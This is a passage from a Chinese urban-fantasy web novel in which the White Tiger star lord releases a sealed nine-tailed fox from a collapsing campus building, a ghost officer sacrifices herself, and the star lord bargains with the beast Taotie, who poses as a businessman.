今晚是满月,天阴星精华最盛,散落在全世界的大妖巨魔都会出来吸两口。 到处都是超高浓度的灵气交互。 就连紫袍道士都无法分辨哪个是天赐,哪个是人工,自然也无法赶过来出手阻挠。 李寅寅判断,如果在祥龙楼抽取灵气的人想要加快收集的进度,必然不会放弃这个时机。 晚上十二点,子正。 祥龙楼里还有在做过夜实验的学生,他们还在互相开着玩笑。 一位广州同学吐槽道:“哎~早知道读大学也得一夜一夜的不睡觉,我还不如继承我家的士多,每年端午的时候,我妈就包好多裹蒸粽,一蒸蒸一夜,她就一夜不睡觉,看着火,那个时候,我念书的全部动力就是不想这样,结果,我现在跟卖粽子有什么区别?!” 心月狐无情地回答:“有的,时间够了,粽子一定会熟。做实验,可能一无所获。” 同学们急了:“呸呸呸!” “不许乱说话!” 同学们生气归生气,但是不敢真对她做什么。 实验室被炸了半拉,唯独她的胶片没有受影响,及时转移到别的实验室。 这叫什么,这叫幸运女神。 现在同学们进实验室,都要先跟她握手,然后她再跳一遍那天跳给机魂的祭祀舞……其实就是摆出奥特曼冲天的姿势,大喊一声:“成功!” 李寅寅对此评价:“好好的一群大学生,跟原始部落的人一样迷信。” 今天晚上的实验很重要,大家都不回宿舍了,就在实验室里硬等。 快要到凌晨一点的时候,其他人都困得东倒西歪,心月狐偷偷跑出去,在一楼与李寅寅会合。 果然如李寅寅所料,今天晚上,灵气被抽取的特别多,一不小心露了痕迹。 灵气不是来自地下,或是某个教室,而是来自整栋楼! 心月狐大为不解:“这楼成精了?” 无机物成精倒不是稀罕事,玉石琵琶精、石矶娘娘都是无机物,大楼成精也不是不行,比如《闪灵》里主角待着的那间酒店。 不过,石矶娘娘多少跟女娲沾点关系,玉石琵琶是得到妲己温养之后才得到灵识,闪灵的酒店有印第安人的诅咒……这楼里有什么了不起的东西?实验屡屡失败的怨念吗? 李寅寅站在一楼大厅的正中,大厅的灯关了,只有水族箱里的灯管闪着幽光。 水族箱看似被随意摆放成隔断墙,如果有人能从高处俯视,就会看出那是一个封印符文。 不让什么东西跑出来的符文。 “让你的同学都离开。”李寅寅下达任务。 心月狐回到实验室,大叫一声:“我刚想起来,我前几天抽中了好再来的五百块钱抵用券,还有一个多小时就过期了,有没有人要跟我一起去吃?!” 宁大的南门24小时开放,在南门外有一家价格挺贵,味道不错的好再来饭馆,营业到凌晨三点,一般同学们是有开心的事需要庆祝,才舍得去一趟。 心月狐这么一句话,实验室里的同学们都精神了,跟着心月狐离开实验室。 等人都走光,时间已经过了子时,灵气外泄果然明显减缓。 李寅寅将水族箱的灯关掉,冯墨和苏灵衣将水族箱推开,现在大厅里已经没有封印。 整栋楼开始颤抖,墙面出现一条一条的龟裂。 大楼再次被李寅寅的西庚锐金结界罩住,无论它发生什么,凡人都不会知道,他们最多在明天发现这不幸的楼又倒了。 李寅寅站在大楼正门间,看着这栋祥龙楼的格局。 喷泉池,是供在楼前的三柱香。 地灯,是供给亡魂的买命钱。 一楼大厅的吊灯,是饕餮亲自制成的镇魂灯。 就连玻璃上,都绘着金钱剑的抽象纹路。 所有的一切,都是为了防止楼里的灵魂逃出来,让她永远被控制。 那个灵魂不甘心,如果贸然揭开封印,她就会像童话里被封在壶里的邪魔一样,将触及的人和物全部毁掉。 李寅寅不能确定那灵魂到底是个什么东西,不敢托大,才挑了这么一个日子,在她的灵气被猛抽完,最虚弱的时候揭开封印。 “苏灵衣,你出去。”李寅寅出声赶苏灵衣,“你身体还没恢复,留在这里也是送死。” “已经好了!我要留在这里,万一出来的东西,你们不认识,我还能帮你打听打听。我知道我也就这点用了,你不能让我彻底变成废物吧。” 李寅寅伸手推他:“废物有什么不好,你不要跟冯墨薛姗比,要找到自己的赛道,你是店里唯一会做饭。” 冯墨适时的应和:“就是,你会做饭,至少比乐乐强那么一点。” 李寅寅扶额,果然,身为犬科动物,苏灵衣不能容忍自己被拿来跟仓鼠做比较,更不不愿意承认自己不如另一只犬科动物。 他打死也不走。 此时想走,也来不及了,大楼轰然倒塌,上次只是朱雀炸了一部分,现在是整个楼好像被核平了一样,变成一滩粉渣渣,什么都不剩。 那股力量不仅碾碎了大楼,还在结界之中左冲右突,越发烦燥,好像下一刻就要冲破结界,在毫无防备的人间大杀四方。 此时一个粉黄色的身影冲进结界,它的身上包裹着一团黑色泛金的烟气,下一刻,烟气与无影无形的力量相遇,几乎被撕碎。 烟气即将消散的那一刻,金光大盛,隐隐照出那股力量的本相,它甩着尾巴,耳朵尖尖,张开血盆大口冲着李寅寅龇牙。 李寅寅并非降魔除妖专业户,她甚至还有些同情这个被封在楼中的倒霉灵魂。 谁给封印那么久不发疯呢。 李寅寅决定给它一点时间,让它先发泄发泄,等它冷静下来,也许可以沟通。 她双手白光乍现,张开一道无形幕墙,将冯墨、苏灵衣和玄凤罩住,任由那股力量乱蹿。 只听几声脆响,那股力量撞在慕墙上几回,始终撞不破,又转头冲向结界上方,企图冲出去。 玄凤身上的金光越来越强,原本半透明的模糊影子变得越来越清晰,就是一只黑色的狐狸,身后有九尾。 随着它一下一下的撞击,结界开始破裂。 “九尾狐竟然这么强!”在冯墨心里,李寅寅的结界牢不可破,能毁坏它的,必然是能毁天灭地的大妖。 李寅寅冷哼一声:“不是它强,我的长处本来就不是结界,玄武那老乌龟的结界才最结实。对于我来说,进攻就是防守!” 此时,结界轰然破碎,那道影子瞬间就要冲出去。 下一秒,李寅寅在黑狐身旁闪现,伸手抓住它的后脖颈,向地上摔去,李寅寅伸手按在它的头顶。 就连地狱魔王被白虎按住灵台,也只能全身无力任由摆布,但是这只黑色九尾狐居然还在挣扎。 折腾这么久,冲天煞气没有消除一点,可见它的气性有多大,真让它跑出去,说不定大半个地球都不够她撒气的。 “不好意思,虽然你挺可怜的,不过让你跑了,其他无辜的人更可怜。”李寅寅的右手现出白虎银枪,她举起右手,重重下落,却被人抱住了胳膊。 是苏灵衣。 他双手紧抱着李寅寅的胳膊,用肩膀架住了即将下落的银枪。 他声音颤抖:“不要……求你饶它一命。” 黑色九尾狐猛然跳起,出爪如电,尖利的爪子向李寅寅的脖子落下。 苏灵衣感到脑后有风,想也没想,转身替李寅寅挡下这一爪。 李寅寅大怒,左手握住黑狐没有来得及收回的爪子,用力一握,狐爪被扭曲成一个奇异的形状。 “凶性这么大,留不得了!”李寅寅伸手将苏灵衣揽住,将他扔给冯墨:“看紧他!” 话音未落,手中银枪直取黑狐心窝,那里有什么东西挡住了枪尖。 黑狐发出一声尖啸,接着,就软软地倒在地上。 李寅寅伸手探进它的心口,掏出碎成了三块的四方形红色玛瑙,玛瑙上阴刻着饕餮纹。 “我就猜那玩意儿没安好心。”李寅寅哼了一声。 她转头抬起苏灵衣的下巴:“你最好给我一个合理的解释,为什么要影响我拔枪的速度。如果这个解释不能让我满意,我就送你和它一起上路。” 苏灵衣低喘几声,一双眼睛含泪看着李寅寅:“她是我妈妈,狐族大祭司。” 第56章 与饕餮的谈判 现场沉默了三秒,李寅寅对苏灵衣说:“你先看看能不能让她恢复神智,如果不能……要么得重新找个地方不让她伤人,要么就让她彻底消失。” 聚完餐变回原形赶来的心月狐从小包包里掏出一板止疼药,递给苏灵衣:“来一片?” 苏灵衣摇摇头,神情悲怆地抱着黑狐,他割破自己的手掌,将带着血的手印在它的眉心,希望妈妈能早点醒来认出自己。 心月狐与青龙小声嘀咕:“白虎星君说话实在太过残忍,哪能直接这么跟人说你要么管好你妈,要么就送你妈上路。 跟我们青龙星天那种先铺垫情绪,再层层递进,最后再委婉给出结果的方式完全不一样。” 赶来记录仪器实际使用参数的娄金狗鄙视地斜了她一眼:“你们这些只会在后方瞎逼逼的人当然有时间慢慢聊,我们要是这么说话,你猜你们还能坐稳吗?要是让你听见‘我不要伤亡数字,我只要塔山’你是岂不是要疯了?” 玄凤气息奄奄,比黑狐伤得还重。 孟清华站在玄凤身边,伸出手,要为它救治,李寅寅摇头:“没有用的,看看黑狐吧。” 玄凤身上的黑气渐渐凝成实体,化成一个黑色的小牌,上面用金字写着:“阴差行走,活人回避。勾魂拘灵,铁面无私。” 那是阴司发放的鬼差证。 能照出所有灵体的原形,将它们变成可以拘拿的实体。 但合法范围仅限于阴差被分配的生死簿名单上的灵体,拿去照其他的灵体,属于公器私用,不管是好意还是恶意,都全部按枉法处置。 鬼差枉法的下场就一个:魂飞魄散。 李寅寅测出了楼内有灵体,却不知道灵体是什么。 如果没有本相,灵体就是最纯粹的力量本身,是没有天敌的。 有了本相,天道法则就会给予许多额外的东西,比如天敌、比如习性,以及身体上的弱点。 李寅寅不确定能不能收服纯粹的力量时,中年女鬼差主动提出,愿意用自己的鬼差证去验一验那道灵体的本相。 “如果不收服它,我女儿也会受害,要是我女儿出事,我也不想活了。” 李寅寅和心月狐劝过中年女鬼差,可以把眼光放长远一些,如果韩文静死了,也就是重新投胎,她在下面当鬼差,还能帮女儿一把,投个好胎。 但是她死活不听,坚持要让从自己肚子里生出来的女儿拥有一个长命百岁的好结局,而不是刚活到二十岁就销号重开。 “我女儿不可能投到大富大贵的人家,她也没有天赋过人的命格,你们不知道,她从高二开始就在焦虑高考,头发大把大把的掉,吃不下睡不好,太可怜了,我都看得难受,我不想让她再经历一次那样的痛苦了。” 她这么一说,心月狐立马就表示赞同,她上的是中关村三小,以前一年跳一个孩子,小学生的压力都这么大了,再来一次,又是几年后的事,说是人口下降,但是大家都往好学校挤,名校的竞争依旧强大,再投胎一次真的很难保证过上现在同等的生活。 连心月狐都这么说,再加上鬼差的坚持,李寅寅便同意了她决意自我牺牲的意愿。 只是画皮不能持有鬼差证,会化掉。 不找实体依附,又会很快被地府发现,把她 抓回地府处罚。 乐乐找到一只刚咽气的玄凤,让中年女鬼差附身上去,她这才能带着鬼差证冲来。 现在,地府的公务员行为规范被自动触发,滥用鬼差证的鬼差,即将烟消云散。 一股烟气从玄凤的身体里扩散出来,那是中年女鬼差,她的身体已经难以聚合。 “你还有什么事情想跟你女儿说的?”李寅寅看着它。 “对于她来说,我早已经死了……”说话间,她已经彻底消散。 那只玄凤,双爪死死扣在栖身的小树枝上,身体早已僵硬。 另一边,在青龙和苏灵衣的努力下,狂躁的黑狐安静下来,血红的眼睛渐渐变得清明,她看着苏灵衣,轻声问道:“好哭宝,是你吗?” 苏灵衣面露喜色:“是我!阿妈,你醒了?!” “嗯……” “你怎么会在这栋楼里?是不是饕餮做的?我们分开之后到底发生了什么……” “再不找个皮囊装她的灵体,一分钟之内她就得散。”李寅寅的声音打断了苏灵衣诉说别情离绪的声音。 孟清华不满地抬起头看着她,他正在组织语言,想怎么用一种委婉的方式提醒苏灵衣不要沉迷与黑狐的重逢,李寅寅这也太直接了,苏灵衣身上也有伤,哪能受得了这么大的刺激。 李寅寅不止提出问题,还给解决方案:“愣着干什么,那张画皮现在在教职工宿舍里躺着,赶紧把她送过去啊。” 苏灵衣刚才被她一吓,大脑一片空白,一时也不知道怎么办,现在听她这么说,便下意识地照做,完全没有多想。 朝阳初升,躺在宿舍床上的韩文静睁开眼睛,又闭上。 昨晚她梦见妈妈了,她好像变得很小,坐在地上,妈妈摸了摸她的头,什么都没有说,转身就走,她拉着妈妈的裙摆,不想让妈妈走,妈妈把自己最喜欢吃的蜂蜜杏干从小口袋里拿出来,努力伸手递给妈妈,妈妈接过之后,又塞到了她的嘴里,还拿了一只装满了芝麻肉松的瓶子给妈妈,她欣喜地接过,松开了拉着妈妈的裙摆。 肉松很香,她埋头吃了两大口,都没有听到妈妈说她吃太多会吃不下饭的声音,抬起头,妈妈已经不见了。 韩文静又把眼睛睁开,与梦中一般无二的肉松香气飘过鼻尖,她震惊地坐起来,看见下铺的胡雅娟正拧开一个装满肉松的瓶盖。 那是“她远方亲戚”做的,胡雅娟说自己不爱吃零食,全送给她了,她就随手放在了桌上。 韩文静跳下床,胡雅娟嘿嘿一笑:“早上不想去食堂,给我吃点呗。” “嗯。”韩文静也伸过手,捏起一点肉松放在舌尖,没错,就是与梦里一样的味道。 心月狐看着她眼泪不住往下流,赶紧放下肉松,扯了几张纸巾,手忙脚乱地替她擦:“怎么了这是?我……我就吃了一点啊……” “不是,跟你没关系……我想我妈了。”韩文静用力擦了擦眼睛。 “我妈是在我高考之前半个月走的,我那个时候在寄宿制县中,没有一个人告诉我这事,一直到我高考完了,我才知道。我都没有见到她最后一面……” “其实,我知道她撑得很辛苦,到最后全靠红处方药压着,打完药,人就不疼了,但也没有知觉,昏昏沉沉的……妈妈死了,是解脱,我有心理准备的,让我见我妈最后一面会怎么样啊! 考上大学有什么用!我连我妈最后一面都没有见到!” 韩文静说着说着,又流下泪来,心月狐与田螺姑娘都尽心安慰她,她努力平复心情,说自己没事。 祥龙楼那里已经引起了骚动,心月狐和田螺姑娘借口说想去食堂吃早饭先走了。 韩文静还是无法从悲伤中走出去,她给妈妈的手机号码发了一条短信:妈妈,昨天晚上我梦到你了,两年,你在那边还好吗?我一直在用你送给我的钢笔,它陪着我高考,陪着我考四级,还有很多次重要签名,我都用它写的,它已经有点漏水了,修笔的人说要换一个笔头才行,我不想换,换了以后,它就不是你给我的那一支了。妈妈,我想你,能不能经常到我的梦里来看看我? 短信发出后没几分钟,忽然,手机震动起来,是一个陌生号码,韩文静接了起来,对方热情洋溢的问她是否需要贷款,是否需要理财服务。 韩文静一声不吭,挂了电话,觉得自己很可笑,到底在期待什么啊,怎么可能有回复。 她收拾了一下,准备出去上课,刚走出去没几步,就听到了一个晴天霹雳般的消息:祥龙楼塌了。 昨晚中了狐惑术的同学们终于想起他们还有做了半拉的实验在楼里,哭天抢地往祥龙楼跑。 此时校工已经将现场围起来,不让教职员工和学生靠近,免得造成意外伤害。 隔着绳索,大家还是看到了那楼塌的非常之彻底,碎到令人难以理解的程度了,有一个同学喃喃道:“我想起了一招从天而降的掌法……” 很快就有人过来清理善后,到下午,曾经的一栋楼,只剩下了一片水泥地基,根本看不出来什么。 距离第一个人发现楼塌的五小时后,校园传说已经传到5.0了。 有说是以前跳楼学生的冤魂作祟,也有说是祥龙楼开工的时间不好,正好是木星当值,应了“太岁头上动土”的旧话,还有说其实是校领导挪用公款,报账都报到了祥龙楼里的设备上,故意弄塌,就是为了平账。 …… 别的都越传越没边,唯有昨天晚上,本来应该留在祥龙楼里做实验的那十几个学生莫名离开,逃出一命这件事,是有实据的:他们都拍照发了朋友圈,有人夸奖自己的努力,有人开心同学请客。 根据从废墟里扒出来的时钟和饭店上菜速度判断,他们离开实验室的时间,跟大楼倒塌时间就差了半小时。 他们为什么突然走?因为要夜宵。 为什么吃夜宵?因为同学胡雅娟说她中奖了。 但是,根据好再来的老板说,他们店根本就没有参加过什么免费试吃、抽奖的活动。 被人问到头上,心月狐临时编了一个理由,她说自己看错了,她的账上真的有一张500元抵用券,但那是一个叫再回首的造型工作室,消费28888可以抵500块。 到了饭店才发现自己把“再回首”记成了“好再来”,但是这么多同学都殷切地看着她,还说她是小福星、运气好、跟着她有肉吃……这么多高帽子戴下来,她只能咬咬牙,自己认栽,掏钱买面子。 特别合理。 虽然,她没真的抽中抵用券,但是,她真的是所有同学的福星,要不是她突然拉着大家出去吃夜宵,他们就得像这些设备一样被埋在废墟下面了。 逃出一命的同学们纷纷给她转钱,转得比昨天晚上吃的那顿多多了。 上课的时候,韩文静忽然感觉手机一震,打开一看,是一条短信,是她妈妈的号码发来的: 抬头看看天空,妈妈是最亮的那颗星,你所想所愿所求所得,妈妈都知道,妈妈每时每刻都在念着你,你被她的爱所包围,妈妈希望你努力生活下去。她只是抛却了肉身,化为你看不见的灵魂,你可以自由的去她想去的地方,看遍山川湖海,和风一起畅游,妈妈会在想你时回到你身边,你看不见妈妈,但你身边刮起的一**,摇晃的树叶花瓣,都是她在跟你打招呼。 韩文静整个人都傻了。 过一会儿,手机又震了一下:现在这个号码是我在使用,不要害怕。 韩文静用力抹了一下眼睛,回复:谢谢你好心人,祝你一生平安顺遂。 祥龙楼第一次出事还能说是软装材料不过关,第二次塌成这样,实在是很难解释。 这件事祥龙集团死命给压了下来,电视台和各大官方媒体都没有播,网上的消息也在第一时间被清除干净,只剩下一些学生自己传的照片。 本来照片也能引起别人注意,但是,转发这些照片的都是那种AI配音的营销号,张口就是地龙翻身,太古魔君,外星人,蜥蜴人,黑暗会…… 内容太过抽象,导致平时高强度网上冲浪的人群觉得这玩意儿太过弱智,扫一眼就关掉了,根本就不想看,更不愿意转发,免得被人嘲笑智商不高。 对于学生也没什么好解释的,校内的论坛搞起了新春联欢会邀请流量明星的评选,先提名,再提票,哪位爱豆获票最高,校方就想办法把他请来,让他出现在学校的新春联欢会上。 男女明星各选一位。 这下,校内论坛上展开了粉黑大战,学生们也努力为自己的爱豆拉票。 楼塌了就塌了呗,反正又没伤到人,没过三天,除了那天晚上死里逃生的学生,再没人提起这事。 舆论压下去了,但是校领导这边还是没完,要龙兴伍给一个解释。 一辆奔驰停在虎虎宠物店的门口,司机跑着去开车门,龙兴伍背着双手走进虎虎宠物店,他看着一屋子用幻术变出来的动物,冷笑一声:“星君,我们素日井水不犯河水,你用障眼法骗人,我也不会举报你,你说你为什么总要与我过不去?” 李寅寅靠在椅背上,用下巴示意:“坐。” 龙兴伍大马金刀往沙发上坐下,双腿张开很大,一个人占了三人沙发的一半,挑衅意味十足。 “你还是把腿稍微收收吧,没看网上的男人说么,被上过的人腿才会张这么开,经历越丰富,腿张得越大。”李寅寅微笑,“现在有一种软件,能一键消除身上所有的衣服,前几天附近大学和高中的女生跟我说,现在最流行的是健壮大叔受,以你这样的身材,这样的容貌,这样的身份,我这边门口人来人往,要是被人拍下来,还不知道会被P成什么,可能已经生过三胎了。” 龙兴伍就是来兴师问罪的,结果气势刚摆出来,就被李寅寅打断了施法。 “星君不必再东拉西扯,你为什么要毁了我的楼?”嘴上这么说,龙兴伍借着端水的动作,不动声色地换了个姿势,跷起二郎腿。 李寅寅回道:“你把我一个朋友的身体打碎,和在水泥里盖成楼,我只把楼拆了,都没有来找你,是不是已经对你很客气了?” “你的朋友?”龙兴伍狐疑地看着她。 “纯狐族的大祭司,纯狐女婍。” 龙兴伍冷笑道:“羿诓我落入的陷阱,就是纯狐族给他设计修建的,我重生时,已是人间的东汉末年,整个纯狐族已不见踪迹,星君如此栽赃,是不是太过份了。” 李寅寅脸上波澜不惊,心中开始反思,她只记得饕餮是上古凶兽,肯定出生在纯狐族灭亡之前,就没有查时间线。 饕餮是在羿业绩结算名单里的凶兽,这个羿不管是指大羿还是后羿,纯狐族确实都没有灭亡。 大羿在后羿之前,而后羿一个叫寒浞的手下的妻子就是纯狐族。 大意了。 在没有山穷水尽之前,李寅寅绝不认输。 她抬了抬眉毛:“哦?你的意思是,你不知道楼里封着什么东西?喷泉做的三炷香,灯光组成的纸钱,只是你的个人审美?” “我知道里面有灵体,但那又如何?”龙兴伍冷笑地看着李寅寅,“星君或是星君的手下难道没有利用过尸体为自己所用?” 那当然是有的,打仗,特别是古代,能善待平民已经是惊天地泣鬼神的仁善之师了,敌人那是绝对没有人权的,等同于牲畜,对牲畜做什么都很合理。 李寅寅摊开双手:“没什么,成王败寇,这个道理我懂。如果被我利用过的尸体的亲朋好友要找我报仇,我不反对,当然,我也不会束和就擒,站着的是赢家,躺下的是输家。” 她这是要动手了吗? 龙兴伍全身肌肉绷紧,神色冷峻盯着李寅寅:“星君的意思是,今天要替纯狐族的人找我算账?” “既然不是你下的手,我找你算什么账?我只想问你几个问题,龙总不会连说几句话都不愿意吧?” “你先问,我不一定答。” 李寅寅开口:“这楼用女婍的身体,只是为了吸取大地的灵气吗?” “对。” “你知道里面是女婍?” “知道。” “既然不是你灭的纯狐族,那就不是你杀的了,那么,女婍的身体,是谁给你的?” “地上捡的。” 李寅寅垂下眼睫,轻轻一笑:“是像在沙漠里捡核弹那样捡的?” “随你怎么理解。” 李寅寅又问:“大地灵气是正统修行者才要用的,你是天生异兽,又走的邪修一路,你要大地灵气做什么?” 龙兴伍扬起嘴角:“人类,最讲孝道,我既然是借了老家伙的血脉出生,那自然也应该遵守,我用地灵养我父亲的命格,算得上孝感动天了吧?” “哦?是续你父亲的命格,还是曲线救国,想让你的小妈舍不得离开你?”最后一句声音大了点,惊醒了刚刚趴在阳台上睡觉的薛姗。 薛姗惊喜地站起身,从阳台上蹿到外面,计划在天黑之前,将饕餮跟朱雀小妈有一腿的故事在方圆三百公里之内,进行全方位无死角的广播。 龙兴伍不以为意:“人活着,就会有很多用处,星君为什么不说我只是想要为奢侈品行业去库存,他活着,能带动很大的消费能力,也能为娱乐八卦事业添砖加瓦?” “龙老头祖上九代洗女,攒下了富贵与凶煞并存的家族运,你投生在他家,又吸了他前面几个儿女的生命,婴灵煞气却只知对着父母,你手上干干净净,就算有天谴,也落不到你头上来。” 龙兴伍不以为意:“星君何必说得这么难听,要不是他们家九代人至少杀了二十几个女婴,煞气冲天,为我引路,我也不能这么快就找上他们家,我不过是借势而已,龙家那八代杀女婴的长房男丁现在都在十八层地狱里,杀一二三四个女婴是在十八层地狱,就算多杀五六七八个男婴,还是在十八层地狱里,龙老头又没有因为我而多受处罚。” “你知道周金凤就是朱雀?” “本来不知道,鬼宿找上门之后就知道了,她想把朱雀的魂魄和气运都带走,我自然是不能同意的。” 鬼宿专业是操控鬼魂,饕餮专业是什么都吃,包括鬼魂。 鬼宿完全奈何不了饕餮,只得认怂退走。 “鬼宿现在在哪里?很久没见到她了。” “她很好,星宿不死不灭,你不会为她担心,她也不会来找你麻烦。” 鬼金羊现在在妖管局工作,本来只是把她关起来,后来发现她能招唤鬼魂,可以同时做很多工作,于是,尾火虎把她从单纯的羁押犯,变成了劳改犯。 李寅寅看着龙兴伍:“咱们商量一下,你告诉我,到底是谁教你用狐族祭司吸灵气,我就不杀了周金凤,如何?” 周金凤一死,朱雀的最后一缕魂魄与气运就会重入地府,再加上鬼金羊身上的十分之九魂魄,青龙白虎联手助朱雀重生并不困难。 “你怎么能杀人?”饕餮是真没想过,星宿正神能像他这么不要脸。 李寅寅笑笑:“你不是知道我用尸体干过什么吗?借君项上人头一用没听说过?只要我用法术潜入,不用法术杀人,一砖头拍死她,都不会有天谴。要不你来试试,能不能防得住我,你能防得住我一个,能妨得住青龙七宿加白虎七宿?对了,还有鬼金羊,最想朱雀死掉,好调换命格的就是她。” 龙兴伍犹豫着开口:“是……” 话没说完,就听见一声炸雷在头顶轰响,一个广告牌硬生生被雷劈断,砸在虎虎宠物店的门前。 外面明明阳光明媚,蓝蓝的天上飘着朵朵白云,完全没有打雷的可能性。 李寅寅出去张望了一眼:“意外,旁边有个变压器烧坏了。” 龙兴伍摇头:“你自己相信这是意外吗?如果我说了,可能形神俱灭,不说,只是在这个世界待不下去,我可以去别的世界从头再来。” “去别的世界,说不定你就是食物链的底层了。” 龙兴伍笑笑:“那又如何?老鼠蟑螂不也活着?换一个地方,哪怕是做老鼠,我也能当鼠王。” “你说得有道理,不过,搬家总是麻烦事。你难道不想在这个熟悉且已经打下根基的地方继续待下去?” 饕餮用尽手续想要留着龙老头的命,就是想让周金凤不离开,他要借她身上的朱雀气运让他在人间过得顺风顺水,这么努力经营,当然不会真的舍得全部推倒重来。 “我当然想留下,但是星君要的保护费太高了,我给不起。” “啧,怎么说得我才是上古凶兽一样……金银、纸钞、珠宝、地契、世上的东西可以对价,消息也可以对价,刚才的问题不问了,换一个。” 李寅寅起身向龙兴伍走去,居高临下地看着他:“这些灵气,全部给龙老头,足够他返老还童了,现在看他还是垂垂老矣的模样,你用地灵又没有用……是被别人抽成了吧?给其他修正道的妖怪,你没这么好心,那就是给其他正神用。能比你身份高,让我无法感知到且一定留在人间的正神就那么几个……” 她伸出右手食指:“西王母……” 又伸出一根中指:“东王公……” 再伸出无名指:“碧霞元君……” 再伸出小指:“泰山府君……” 最后伸出大拇指:“不拘一格用凶兽,又需要大量灵气的第一人,女娲大神。” 李寅寅眼睛微眯,看着饕餮:“我猜,你是接了女娲大神的委托,现在人间如此不太平,地上有灵气也经不起人类对轰,所以,你想办法吸取大地灵气,等巴以、俄乌、韩朝互相扔核武器灭世之后,再将灵气灌回去,进行第二次补天工程。” 饕餮笑着摇头:“星君也太抬举我了。” “如果不是的话……那就是……有人要用灵气修补被颛顼帝砍断的通天建木,是不是?” 龙兴伍全身一僵,他没有回答,但是他的表情已经回答了。 “我知道了,你走吧。”李寅寅摆摆手。 有能力将建木扶起的人妖仙魔,不超过一百个,会留在人间的更少。 龙兴伍正要离开,李寅寅忽然叫住他:“对了,你抓紧把祥龙楼重建,同学们等着用呢。” 虽然,楼是李寅寅拆了封印才会弄塌的,但是,如果楼里本来就没有封什么东西,又怎么会因为移动几个水族箱就塌。 所以,要龙兴伍重修祥龙楼,李寅寅非常理直气壮。 正好祥龙美食城已经竣工一段时间,李寅寅要求先看看美食城,别他又在美食城里动什么手脚。 去的时候正赶上消防队员给员工们进行演防演练,包括急救演习等等。 李寅寅一眼就看出其中一个消防队员不是人,是龙。 不是东方龙,是西方龙。 就是挺着圆肚肚,扇着小翅膀,走到哪儿,吐火喷烟到哪儿的西方龙。 李寅寅皱眉,这玩意儿在消防队?! 是来灭火的,还是来生火的? 第57章 喷火龙的工作 演习中有一项是展示高压水枪的使用方法,主要目的是增强大家对消防栓的理解,不要觉得那就是个墩子,可以随便围起来或者挪用成为其他用途。 正常情况下,握着高压水枪的是两个人,不知怎么,后面的人脚下被水带绊了一下,松了手,前面的人立马就控不住了,巨大的水流形成了强悍的后座力,人直接倒退几步,摔倒在地上。 没人管的高压水枪彻底自由,像中了邪的丛林巨蟒,左扭右扭。 消防员刚刚讲解过:两把高压水枪对着小汽车冲,能把停着的车子推走,对着地上冲,能把人推上天,那样强大的冲击力,不管是对着人身上哪个位置冲,都会造成伤害,不小心扫到眼睛能瞎。 周围的人看见那乱晃的枪头,早就吓得尖叫声一片,大家四散奔逃。 还有几个机智的人已经抱着头卧倒了。 就在现场一片混乱之时,一个像山一样的高大人影一个箭步蹿过来,弯腰一捞,就把失控的水龙头抓在手里,关掉开关。 这人身高起码两米,从结实的肌肉块来看,至少得有两百多斤。 现场的人一起为他鼓掌,他抓抓头,嘿嘿嘿的笑起来。 在李寅寅的眼中,则是一只红色的喷火龙用短短的爪子去抓它的脑袋,咧着一张布满尖齿的大嘴傻乐,背后的两只小翅膀忽扇忽扇,支在地上的大尾巴尖在快乐地左右摇摆。 现场很快恢复秩序,后面他又负责教授使用粉末灭火器的方法:“……拔掉安全栓,记住一定要站在上风口的位置,对着火焰根部,一手握住压把,一手握住喷嘴进行灭火。” 一个员工拔掉安全栓之后,看也没看,就对着火苗喷,见火喷不灭,就上下移动,晃来晃去。 “这样是不对的。”红龙严肃地说。 那个员工还不服气:“我看电视剧里是这么演的,男主还是消防站的站长呢,这么专业的电视剧肯定有请顾问。” 李寅寅忍不住吐槽:“电视剧还能抽自己上司一个大嘴巴,上司不仅不处罚,还觉得她好特别好不一样,然后深深爱上女主呢。” 她的声音不算大,不过已经足够让人都听见,周围的人哄笑起来。 那个员工愤愤转头望过来,却看见吐槽的人身旁站着董事长,顿时偃旗息鼓。 有董事长在此,大家都收起玩闹的心思,规规矩矩按步就班的完成后面的培训内容。 李寅寅看着认真工作的喷火龙,对龙兴伍开玩笑:“这是你远房亲戚?” “不是,算结拜兄弟,在钢铁厂捡到的。” 这头喷火龙是从另一个位面跑出来的,不知道是哪两位神仙打架,把时空撕出一个口子,这头龙当时正飞在半空看热闹,结果,就被时空乱流吸到这里来了,唯一的优势是能化成人形,学习能力也还挺强,很快就学会了这里的语言,他被钢铁厂的温度吸引,跑去钢铁厂,差点惹出大祸。 龙兴伍当时正好去钢铁厂谈长期合作的事情,被厂领导带着在车间参观,发现异状之后,马上出手,才避免了钢水包倾斜,钢水烧人的重大事故。 “他现在也回不去了,我就帮他弄了个身份,现在在消防队当合同工。” “为什么是消防队,他一个爱喷火的,在专业灭火的组织里不难受吗?” 按李寅寅所想,他就算不留在钢铁厂,也应该去烧烤摊,多省成本啊。 “他只是会喷火,不是爱喷火,即不怕火又不怕烟,哦,他还有点肌肤饥渴症,就是要经常抱一抱人,消防队很适合他,上次有个三百多斤的胖子在五楼昏过去,120的人根本弄不动他,打了119的电话,他一个人背下去的。” 李寅寅怀疑地看着他:“你好像很欣赏他嘛,他救过你的命?” “不,只是觉得他很有意思,像以前的我……傻乎乎的认死理,认真的让人讨厌。” 李寅寅扬起眉毛:“可是,我记得你被讨厌的原因是贪婪。” 龙兴伍冷哼一声:“对,我是贪婪,如果我不贪婪,在新仙女木事件发生之前,把资源都收到我的部落里,这些人根本就没有命骂我,将我逐出氏族。” 龙兴伍看着扛着两大盘水带来回跑动的喷火龙:“我那个时候看到应该发芽的树还没有长出新枝,就知道不好,我把附近森林里能抓的猎物都抓来,做成肉干,缙云氏才能带着肉干向南迁移,而不是饿死在路边。” “都抓来……难怪别的部落恨你。”李寅寅了然。 这是一点都没想着给别人家留啊。 龙兴伍完全不认为自己做错了:“如果我少抓一头剑齿虎,就有可能导致我的族人就因为少了这么几块肉而没有撑到温暖地区,难道星君从前带兵打仗的时候,还会把自己的军粮分给对手?就算我留给他们一头,他们也会怪我为什么不留两头、三头……攸关自己利益的时候,没有人会说自己凶残。” 李寅寅终于听到了一万多年前这桩公案的全部版本: 龙兴伍所在的缙云氏是炎帝一族,住得离黄帝一族的有熊氏不远。 新仙女木事件刚有端倪,这两大氏族的首领当机立断,率众向南远行。 兵马未动,粮草先行。 有熊氏的人在准备好工具,点好人头,出发之后,发现林子里的猎物被缙云氏一扫而光。 缙云氏还比他们早出发,一路上简直是坚壁清野,能扫光的全扫光了,连鸟蛋都没放过。 刚开始物资充足,有熊氏找缙云氏要点吃的,缙云氏能给。 后面,由于植物不发芽,草食动物先饿死,然后食物链上位的肉食动物跟着饿死,一路上别说动物,真·连草根子都没有的时候都有。 再要食物,是绝对给不了的。 